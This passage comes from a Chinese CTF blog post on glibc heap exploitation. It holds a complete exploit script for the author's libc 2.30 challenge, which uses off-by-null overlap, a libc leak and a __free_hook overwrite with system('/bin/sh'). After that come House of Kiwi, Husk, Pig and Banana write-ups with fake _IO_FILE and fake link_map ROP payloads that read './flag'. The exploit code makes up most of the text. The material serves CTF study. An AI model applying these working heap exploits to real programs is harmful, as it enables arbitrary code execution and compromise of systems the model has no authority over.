#chunk59和chunk123合并进入unsortedbin,大小0x190(0xf0+0xa0)

claim(0x98) #135~141
claim(0xb8) #142~148
claim(0xe8) #149~155

add_malloc(0xc8,'\x00') #0x32 #156 0x****fed0
add_malloc(0xb8,'\x00') #0x36 #157 0x****fb20
add_malloc(0xb8,'\x00') #0x37 #158 0x****ffa0
add_malloc(0x98,'\x00') #58 #159 0x****f900

#--top_chunk
add_malloc(0x98,'\x00') #0x3d #160
add_malloc(0x98,'\x00') #0x3e #161
add_malloc(0x18,'\x00') #0x3f #162

#------tcache
for i in range(7,14):#0x98
free(i+1)
for i in range(21,28):#0xb8
free(i+1)
#------tcache


free(161) #0x98 #0x3e #161
free(159) #0x98 #58 #159 0x****f900
free(157) #0xb8 #0x36 #157
free(50) #0x98 #49 #50 0x****f860
#其中159和50合并为0x140大小的块放入unsortedbin中
#unsortedbin:0x****f860 —▸ 0x****fb20 —▸ 0x****0120

claim(0xb8) #163~169
claim(0x98) #170~176
#----------------------------------------------------
add_malloc(0xb8,'\x00') #49 #177
add_malloc(0x98,'\x00') #0x36 #178

#切割0x140的块
add_malloc(0xc8,'\x00')#0x3a #179 0x****f860
add_malloc(0x68,'\x00')#0x3e #180

现在就可以通过chunk179来将0x****f900中的bk给改掉。

通过chunk156来将0x****ff70中的fd给改掉。

(8)利用off-by-null得到最终布局

1
2
3
4
5
6
7
8
9
10
11
partial_null_write = 0x98*'b'
partial_null_write += p64(0xf1)
edit(156,0x98+0x8+0x1,partial_null_write+'\x00') #0x32 #156

partial_null_write = 0xa8*'c'
edit(179,0xa8+0x1,partial_null_write + '\x00') #0x3a #179

#伪造pre_size
fake_chunk_size = 0x98*'d'
fake_chunk_size += p64(0x2e1)
edit(124,0x98+0x8,fake_chunk_size) #0x35 #124

(9)触发off-by-null

1
2
3
for i in range(42,49):#0xe8
free(i+1)
free(58)

▲总结

①利用unsortedbin成链机制,合并unsortedbin中的chunk并且切割,这样就能保留住FD和BK了。

②再利用unsortedbin成链和切割的机制,就能修改到对应preChunk的FD和BK了,修改最后一个字节为\x00即可。

③由于2.29之后的添加的两项检查,所以需要注意的是伪造unsortedbinChunk的size时,也要伪造nextChunk的pre_size和pre_inuse位。

④太他丫的麻烦了,有这时间布局还不如肝其他题…..

再贴个汇总的exp,基于libc2.30,自己的题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#有size限制,对应索引往后移即可
add_malloc(0x1000-0x290+0x3000-0x8+0x3a0,'PIG007NB')

#old #new
#get layout to let chunk0_addr = 0x****3a0
claim(0x88)# 0-6 #1-7
claim(0x98)# 7-13 #8-14
claim(0xa8)# 14-20 #15-21
claim(0xb8)# 21-27 #22-28
claim(0xc8)# 28-34 #29-35
claim(0xd8)# 35-41 #36-42
claim(0xe8)# 42-48 #43-49

#--------------------------
add_malloc(0x98,'\x00')# 49 #50
add_malloc(0x98,'\x00')# 50 #51 0x****f900
add_malloc(0x18,'\x00')# 51 #52 0x****f9a0
add_malloc(0xa8,'\x00')# 52 0 #53 0x****f9c0
add_malloc(0xb8,'\x00')# 53 1 #54 0x****fa70
add_malloc(0xd8,'\x00')# 54 2 #55 0x****fb30
add_malloc(0xd8,'\x00')# 55 #56
add_malloc(0xe8,'\x00')# 56 3 #57 0x****fcf0

#这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的
fakeChunk_nextChunk_preSize = p64(0x200) + p64(0xe0)
edit(57,0x10,fakeChunk_nextChunk_preSize)# 56 #57

add_malloc(0xe8,'\x00')# 57 4 #58 0x****fde0
add_malloc(0x98,'\x00')# 58 #59
add_malloc(0xe8,'\x00')# 59 #60 0x****ff70
add_malloc(0x18,'\x00')# 60 #61

#free 0~48 #1~49
#-------------------------
#--tcache
for i in range(0,7): #0x88
free(i+1)
for i in range(14,21):#0xa8
free(i+1)
for i in range(21,28):#0xb8
free(i+1)
for i in range(35,42):#0xd8
free(i+1)
for i in range(42,49):#0xe8
free(i+1)
#--tcache

for i in range(52,57): #52~56 #53~57 merge into unsortedbin
free(i+1)

#---------------------------
# empty tcache
claim(0x88) #62~68
claim(0xa8) #69~75
claim(0xb8) #76~82
claim(0xd8) #83~89
claim(0xe8) #90~96
#---------------------------

#---------------------------------------------------------------- 上面是一个大的unsorted bin
#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配
add_malloc(0x98,'\x00')# 52 #97 #0x****9c0
add_malloc(0x98,'\x00')# 53 #98 #0x****A60

fake_chunk_size = 0x98 * "a" + p16(0x200)
#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200
#changing largebinChunk_size will not cause abort
edit(98,0x98+0x2,fake_chunk_size)#53 #98
add_malloc(0x88,'\x00')#54 #99 #0x****B00
add_malloc(0x88,'\x00')#55 #100 #0x****B90
add_malloc(0xd8,'\x00')#56 #101 #0x****C70


#构造preChunk的fd和bk------------------------
#------tcache
for i in range(7,14):#0x98
free(i+1)
for i in range(0,7):#0x88
free(i+1)
for i in range(42,49):#0xe8
free(i+1)
#------tcache


free(51)#0x98 #50 #51 #0x****f900
#let 99->fd = chunk51_addr(0x****f900)
free(99)#0x88 #54 #99
#let 99->bk = chunk60_addr(0x****ff70)
free(60)#0xe8 #59 #60 #0x****ff70
#构造preChunk的fd和bk------------------------


free(98)#0x98 #53 #98

#---------------add back
claim(0x88) #102~108
claim(0x98) #109~115
claim(0xe8) #116~122
#---------------add back

#将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块
#之后依据大小适配原则将60分配回来给123
add_malloc(0xd8,'\x00')# 0x32 #123 0x****ff70,实际大小为0xf0
#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中
add_malloc(0xb8,'\x00')# 0x35 #124 0x****fa60

for i in range(0,7):#0x88
free(i+1)
#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块
free(100) #55 #100

claim(0x88) #125~131

#切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中
add_malloc(0xb8,'\x00')#0x36 #132 0x****fb20
add_malloc(0x98,'\x00')#0x37 #133 0x****f900
add_malloc(0x38,'\x00')#0x3b #134 0x****fbe0


#修复FD->bk和BK->fd-----------------------------
#------tcache
for i in range(42,49):#0xe8
free(i+1)
for i in range(7,14):#0x98
free(i+1)
for i in range(21,28):#0xb8
free(i+1)
#------tcache

#let 133->bk = chunk132_addr(0x****f900->bk = 0x****fb20)
free(133) #0x37 #133 0x****f900
free(132) #0x36 #132 0x****fb20
#let 123->fd = chunk132_addr(0x****ff70->bk = 0x****fb20)
free(123) #0x32 #123 0x****ff70
#修复FD->bk和BK->fd-----------------------------


free(59) #58 #59 0x****fed0
#chunk59和chunk123合并进入unsortedbin,大小0x190(0xf0+0xa0)

claim(0x98) #135~141
claim(0xb8) #142~148
claim(0xe8) #149~155

add_malloc(0xc8,'\x00') #0x32 #156 0x****fed0
add_malloc(0xb8,'\x00') #0x36 #157 0x****fb20
add_malloc(0xb8,'\x00') #0x37 #158 0x****ffa0
add_malloc(0x98,'\x00') #58 #159 0x****f900

#--top_chunk
add_malloc(0x98,'\x00') #0x3d #160
add_malloc(0x98,'\x00') #0x3e #161
add_malloc(0x18,'\x00') #0x3f #162

#------tcache
for i in range(7,14):#0x98
free(i+1)
for i in range(21,28):#0xb8
free(i+1)
#------tcache


free(161) #0x98 #0x3e #161
free(159) #0x98 #58 #159 0x****f900
free(157) #0xb8 #0x36 #157
free(50) #0x98 #49 #50 0x****f860
#其中159和50合并为0x140大小的块放入unsortedbin中
#unsortedbin:0x****f860 —▸ 0x****fb20 —▸ 0x****0120

claim(0xb8) #163~169
claim(0x98) #170~176
#----------------------------------------------------
add_malloc(0xb8,'\x00') #49 #177
add_malloc(0x98,'\x00') #0x36 #178

#切割0x140的块
add_malloc(0xc8,'\x00')#0x3a #179 0x****f860
add_malloc(0x68,'\x00')#0x3e #180


partial_null_write = 0x98*'b'
partial_null_write += p64(0xf1)
edit(156,0x98+0x8+0x1,partial_null_write+'\x00') #0x32 #156

partial_null_write = 0xa8*'c'
edit(179,0xa8+0x1,partial_null_write + '\x00') #0x3a #179

#伪造pre_size
fake_chunk_size = 0x98*'d'
fake_chunk_size += p64(0x2e1)
edit(124,0x98+0x8,fake_chunk_size) #0x35 #124


for i in range(42,49):#0xe8
free(i+1)
free(58)


#pull-down the unsortedbinChunk to chunk134 and leak main_arena
edit(134,0x8,"e"*8) #0x3b #134
add_malloc(0xd8,'\x00') #181
show(134)

libc_base = u64Leakbase(unsortedBinIdx + libc.sym['__malloc_hook'] + 0x10)
lg('libc_base',libc_base)


#---------------------------------------------------------------------------------
claim(0xe8) #182~188
add_malloc(0xe8,'\x00') #0x40 #189
free(44) #0x2b #44
free(134) #0x3b #134
edit(189,0x8,p64(libc_base+libc.sym['__free_hook']-8)) #0x40 #189
add_malloc(0xe8,'\x00') #190
add_malloc(0xe8,'\x00') #191

edit(191,0x10,"/bin/sh\x00"+p64(libc_base+libc.sym['system'])) #191
free(191)
it()
#--------------------------------------------------------------

高版本各类堆技巧总结

一、House of KIWI

House OF Kiwi - 安全客,安全资讯平台 (anquanke.com)

1.原理分析

函数调用链:assert->malloc_assert->fflush->_IO_file_jumps结构体中的__IO_file_sync

1
2
3
4
5
6
7
8
9
10
11
12
13
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);//关键在这个函数中
abort ();
}
#endif

调用时的寄存器为:

图片2

那么如果可以在不同版本下劫持对应setcontext中的赋值参数,即rdi或者rdx,就可以设置寄存器来调用我们想调用的函数。

(1)rdi和rdx互相转换

①getkeyserv_handle+576:

1
2
3
4
5
6
7
plaintext

#注释头

mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

通过rdi控制rdx,同样2.29以后不同版本都不太一样,需要再调试看看,比如2.31里就是:

1
2
3
4
5
6
7
plaintext

#注释头

mov rdx,QWORD PTR [rdi+0x8]
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]

②svcudp_reply+26:

1
2
3
4
5
6
7
8
9
10
plaintext

#注释头

mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

通过rdi控制rbp实现栈迁移,然后即可任意gadget了。

其中2.31版本下还是一样的,如下:

1
2
3
4
5
6
7
8
9
10
plaintext

#注释头

mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]

(2)不同劫持

这里观察寄存器就可以知道,不同版本的setcontext对应的rdi和rdx,这里就劫持哪一个。另外这里的rdi为_IO_2_1_stderr结构体,是通过_malloc_assert函数中的

1
fflush (stderr);

stderr@@GLIBC_2.2.5取值过来的,也就是ELF的bss段上的数据

1
2
3
4
5
6
7
8
9
10
//2.33 /libio/stdio.c
#include "libioP.h"
#include "stdio.h"

#undef stdin
#undef stdout
#undef stderr
FILE *stdin = (FILE *) &_IO_2_1_stdin_;
FILE *stdout = (FILE *) &_IO_2_1_stdout_;
FILE *stderr = (FILE *) &_IO_2_1_stderr_;

如果可以取得ELF基地址,直接劫持该指针为chunk地址也是可以的,这样就能劫持RDI寄存器了。

图片1

这样如果劫持__IO_file_sync函数指针为setcontext,配合劫持的rdi和rdx就可以来调用我们想调用函数从而直接getshell或者绕过orw。

如果没法泄露ELF基地址,可以利用largebin attack直接将堆地址写入_IO_2_1_stderrvtable指针,然后在堆上伪造_IO_new_file_sync函数指针为one_gadget即可。

🔺问题:

当程序中无法泄露ELF基地址时,而one_gadget

2.触发条件

只要assert判断出错都可以,常用以下几个

(1)top_chunk改小,并置pre_inuse为0,当top_chunk不足分配时会触发一个assert。(该assert函数在sysmalloc函数中被调用)

Snipaste_2021-08-28_11-56-34

(2)largebin chunk的size中

当修改largebin中的chunk的size位时,将之改小。再从largebin中尝试申请chunk的时候,如果发现largebin中的chunk的size小于需要申请的chunk的size,那么就会触发assert

1
2
3
4
5
//2.33  _int_malloc
size = chunksize (victim);
//这个size即为largebin中的chunk的size,nb为需要申请的chunk的size
/* We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));

(3)如果是2.29及以下,因为在tcache_put和tcache_get中还存在assert的关系,所以如果可以修改掉mp_.tcache_bins,将之改大,(利用largebin attack)就会触发assert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//2.29
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

//2.29
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

Snipaste_2021-08-28_11-46-59

此外只要是assert不满足均可,可以在_int_malloc_int_free函数中找一找。

3.适用条件

如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup,若再将__malloc_hook__free_hook给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区的情况下。这时候可以借用malloc出错调用malloc_assert->fflush->_IO_file_sync函数指针。且进入的时候rdx为_IO_helper_jumps_addr,rdi为_IO_2_1_stderr_addr

二、House of Husk

house-of-husk学习笔记 (juejin.cn)

1.原理分析

函数调用链:

1
2
3
printf->vfprintf->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec)
|
->__printf_function_table(spec)

__parse_one_specmb 函数 会调用 __printf_arginfo_table和**__printf_function_table两个函数指针中对应spec索引的函数指针printf_arginfo_size_function**

▲这个spec索引指针就是格式化字符的ascii码值,比如printf(“%S”),那么就是S的ascii码值。当然,这个方法的前提是得有printf系列函数,并且有格式化字符。

即调用**(*__printf_arginfo_table+’spec’8) 和 (*printf_function_table+’spec’8)**这两个函数指针。

而实际情况会先调用**__printf_arginfo_table中对应的spec索引的函数指针,然后调用__printf_function_table**对应spec索引函数指针。

所以如果修改了**__printf_arginfo_table__printf_function_table**,则需要确保对应的spec索引对应的函数指针,要么为0,要么有效。

同时如果选择这个方法,就得需要**__printf_arginfo_table__printf_function_table**均不为0才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//2.31 vfprintf-internal.c(stdio-common)

/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;


do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep, mode_flags);
1
2
3
4
5
6
7
8
9
10
11
//2.31 vfprintf-internal.c(stdio-common)

(void) (*__printf_arginfo_table[specs[cnt].info.spec])
(&specs[cnt].info,
specs[cnt].ndata_args, &args_type[specs[cnt].data_arg],
&args_size[specs[cnt].data_arg]);


/* Call the function. */
function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);

即如果table不为空,则调用printf_positional函数,然后如果spec不为空,则调用对应spec索引函数。但是有时候不知道printf最终会调用哪个spec,可能隐藏在哪,所以直接把干脆_printf_arginfo_table__printf_function_table中的值全给改成one_gadget算了。

▲综上,得出以下条件:

1
2
3
4
A.	__printf_function_table = heap_addr 
__printf_arginfo_table != 0
//其中__printf_arginfo_table和__printf_function_table可以对调
B. heap_addr+'spec'*8 = one_gadget

23CGNn46r5xEgJy

在2.29下可以直接用largebin attack爆破修改两个地方,当然还是需要先泄露地址的。

2.触发条件

即需要printf家族函数被调用,且其中需带上格式化字符,比如%s,%x等,用来计算spec,这个和libc版本无关,相当于只针对printf家族函数进行攻击的。

3.适用条件

具有printf家族函数,并且存在spec,合适地方会调用。

三、House of Pig

house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)

1.原理分析

(1)劫持原理

_IO_str_overflow函数中会连续调用malloc memcpy free三个函数。并且**__IO_str_overflow函数传入的参数rdi为从_IO_list_all中获取的_IO_2_1_stderr结构体的地址。所以如果我们能改掉_IO_list_all**中的值就能劫持进入该函数的参数rdi

Snipaste_2021-08-28_17-15-06

所以如上所示,即劫持成功。

(2)Getshell原理

①函数流程

A.在_IO_str_overflow函数中会先申请chunk为new_buf,然后会依据rdi的值,将rdi当作_IO_FILE结构体,从该结构体中获取_IO_buf_base当作old_buf

B.依据old_blen_IO_buf_base来拷贝数据到new_buf中,然后释放掉old_buf。其中old_blen 是通过_IO_buf_end减去_IO_buf_base得到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//2.31 strops.c中的_IO_str_overflow
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);//-------house of pig:get chunk from tcache
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
//-------house of pig:copy /bin/sh and system to _free_hook
free (old_buf); //-------house of pig:getshell
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}

Snipaste_2021-08-28_17-30-42

②劫持所需数据

所以如果在申请的new_buf包含为_free_hook,然后我们在_IO_buf_base_IO_buf_end这里一段数据块中将system_addr放入,那么就可以将system_addr拷贝到_free_hook中。之后释放掉old_buf,如果old_buf中的头部数据为/bin/sh\x00,那么就能直接getshell了。得到以下劫持所需数据:

1
2
3
4
5
*(_IO_list_all) = chunk_addr;
(struct _IO_FILE*)chunk_addr->_IO_buf_base = chunk_sh_sys_addr;
(struct _IO_FILE*)chunk_addr->_IO_buf_end = chunk_sh_sys_addr+old_blen;
//2 * old_blen + 100 通常我们选取old_blen为0x18,那么计算得到的tc_idx为8
tcachebin[tc_idx] = _free_hook_addr-old_blen;

但是如何使得tcachebin[tc_idx]中的Chunk为_free_hook_addr-old_blen呢,这个就用到技术

Largebin attack + Tcache Stashing Unlink Attack,这个技术原理比较复杂,自己看吧。

通常是只能使用callo的情况下来用的,因为如果能malloc那直接从tcache中malloc出来不就完了。

然后由于_IO_str_overflow函数中的一些检查,所以有的地方还是需要修改的:

1
2
3
4
5
6
7
8
9
10
11
12
fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
#need copy '/bin/sh' and system from a old_buf to new_buf
fake_IO_FILE += p64(heap_base+0x003900+0x10) #set _IO_buf_base (old_buf(start))
fake_IO_FILE += p64(heap_base+0x003900+0x10+0x18) #set _IO_buf_end (old_buf(end))
#old_blen=old_buf(start)-old_buf(end)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable to _IO_str_jumps

2.触发条件

(1)Libc结构被破坏的abort函数中会调用刷新
(2)调用exit()
(3)能够从main函数返回

3.适用条件

程序只能通过calloc来获取chunk时

四、House of banana

house of banana - 安全客,安全资讯平台 (anquanke.com)

main_arena劫持及link_map劫持 - 安全客,安全资讯平台 (anquanke.com)

1.原理分析

函数调用链:exit()->_dl_fini->(fini_t)array[i]

1
2
3
4
5
6
7
8
9
10
11
12
13
//2.31 glibc/elf/dl_fini.c

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

所以如果可以使得*array[i] = one_gadget,那么就可以一键getshell。而array[i]调用时这里就有两种套路:

直接伪造link_map结构体,将原本指向link_map的指针指向我们伪造的link_map,然后伪造其中数据,绕过检查,最后调用array[i]。这里通常利用largebin attack来将堆地址写到_rtld_global这个结构体指针中。

link_map的布局通常如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#largebin attack's chunk
#*_rtld_local=fake_link_map_chunk_addr
fake_link_map_chunk_addr = heap_base+0x001000
edit(1,0x448,'\x00'*0x448) #empty the fake_link_map_chunk
fake_link_map_data = ""
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x20) #0 1
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr) #2 3
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x28) #4 5
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x50) + p64(fake_link_map_chunk_addr + 0x20)
#6 7
fake_link_map_data += p64(fake_link_map_chunk_addr+0x28) + p64(0x0) #8 9
fake_link_map_data += p64(0) + p64(0x0) #10 11
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x50) #12 13
fake_link_map_data = fake_link_map_data.ljust(0x100,'\x00')

fake_link_map_data += p64(fake_link_map_chunk_addr + 0x190) + p64(0)
#0x20 0x21
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x128) + p64(0)
#0x22 0x23
fake_link_map_data += p64(0x8) + p64(0) #0x24 0x25
fake_link_map_data = fake_link_map_data.ljust(0x180,'\x00')

fake_link_map_data += p64(0x1A) + p64(0x0) #0x30 0x31
fake_link_map_data += p64(elf_base + elf.sym['backdoor']) + p64(0) #0x32 0x33

#set fake_chunk->pre_size
edit(0,0xd68,'\x00'*0xd60+p64(fake_link_map_chunk_addr + 0x1a0))
fake_link_map_data = fake_link_map_data.ljust(0x308,'\x00')
fake_link_map_data += p64(0x800000000)

Snipaste_2021-08-29_09-49-17

修改对应link_map结构体中的数据,绕过检查,最终调用array[i]。这里就通常需要利用任意申请来申请到该结构体,然后修改其中的值,因为当调用array[i]时,传入的实际上是link_map中的某个地址,即rdx为link_map+0x30,这个不同版本好像不太一样,2.31及以上为link_map+0x38。

主要伪造以下数据:

Snipaste_2021-08-30_18-56-38

这个方法常用来打ORW,因为可以我们可以直接将ROP链布置在link_map中。然而因为版本间的关系,所以数据也有点不同,实际布局:

2.31

Snipaste_2021-08-30_18-49-43

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//docker 2.31 gadget
pop_rdi_ret = libc_base + 0x0000000000026b72;
pop_rsi_ret = libc_base + 0x0000000000027529;
pop_rax_ret = libc_base + 0x000000000004a550;
syscall_ret = libc_base + 0x0000000000066229;
pop_rdx_r10_ret = libc_base + 0x000000000011c371
setcontext_addr = libc_base + libc.sym['setcontext']
lg("setcontext_addr",setcontext_addr)
ret = pop_rdi_ret+1;

fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10
fake_rsp = fake_link_map_chunk_addr + 8*8
flag = fake_link_map_chunk_addr + 30*8

orw = ""
#fake_rsp_addr = fake_link_map_chunk_addr + 8*8
orw += p64(pop_rdi_ret) + p64(flag) #8
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

fake_link_map_data = ""
#set l_addr(0) point to fini_array
fake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0) #0 1
#set l_next(3) and *(l_next)=vdso_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5b0) #2 3
#set l_real(5) point to fake_link_map_chunk_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr) #4 5
fake_link_map_data += p64(setcontext_addr+61) + p64(ret) #6 7
fake_link_map_data += orw #8~25
fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00')

#for rcx push rcx
fake_link_map_data += p64(0x0) + p64(fake_rsp) #26 27
fake_link_map_data += p64(ret) + p64(0x0) #28 29
#flag_addr = fake_link_map_chunk_addr + 30*8
fake_link_map_data += './flag\x00\x00' #30
fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00') #30~33

#fake circle link_list
fake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0) #34 35
fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20) #36 37

2.29

Snipaste_2021-08-30_16-16-41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//docker 2.29 gadget
pop_rdi_ret = libc_base + 0x0000000000026542;
pop_rsi_ret = libc_base + 0x0000000000026f9e;
pop_rax_ret = libc_base + 0x0000000000047cf8;
syscall_ret = libc_base + 0x00000000000cf6c5;
pop_rdx_r10_ret = libc_base + 0x000000000012bda4
setcontext_addr = libc_base + libc.sym['setcontext']
lg("setcontext_addr",setcontext_addr)
ret = pop_rdi_ret+1;


fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10
fake_rsp = fake_link_map_chunk_addr + 8*8
flag = fake_link_map_chunk_addr + 30*8

orw = ""
#fake_rsp_addr = fake_link_map_chunk_addr + 8*8
orw += p64(pop_rdi_ret) + p64(flag) #8
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

fake_link_map_data = ""
#set l_addr(0) point to fini_array
fake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0) #0 1
#set l_next(3) and *(l_next)=vdso_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5a0) #2 3
#set l_real(5) point to fake_link_map_chunk_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr) #4 5
fake_link_map_data += p64(setcontext_addr+53) + p64(ret) #6 7
fake_link_map_data += orw #8~25
fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00')

#for rcx push rcx
fake_link_map_data += p64(fake_rsp) + p64(ret) #26 27
fake_link_map_data += p64(0x0) + p64(0x0) #28 29
#flag_addr = fake_link_map_chunk_addr + 30*8
fake_link_map_data += './flag\x00\x00' #30
fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00') #30~33

#fake circle link_list
fake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0) #34 35
fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20) #36 37

▲这里需要注意的是由于ld动态连接加载的事情,所以就算是同一个版本中的link_map相对于libc基地址在不同机器中也有可能是不同的,需要爆破第4,5两位,一个字节。

▲题外话:适用到ld动态链接库的话,如果直接patchelf的话,很可能出错的,原因未知。推荐还是用docker:

PIG-007/pwnDockerAll (github.com)

2.触发条件

(1)调用exit()
(2)能够从main函数返回

3.适用条件

ban掉了很多东西的时候。但是这个需要泄露地址才行的,另外由于可能需要爆破一个字节,所以如果还涉及其他的爆破就得慎重考虑一下了,别到时候爆得黄花菜都凉了。

各版本UAF专场

前言

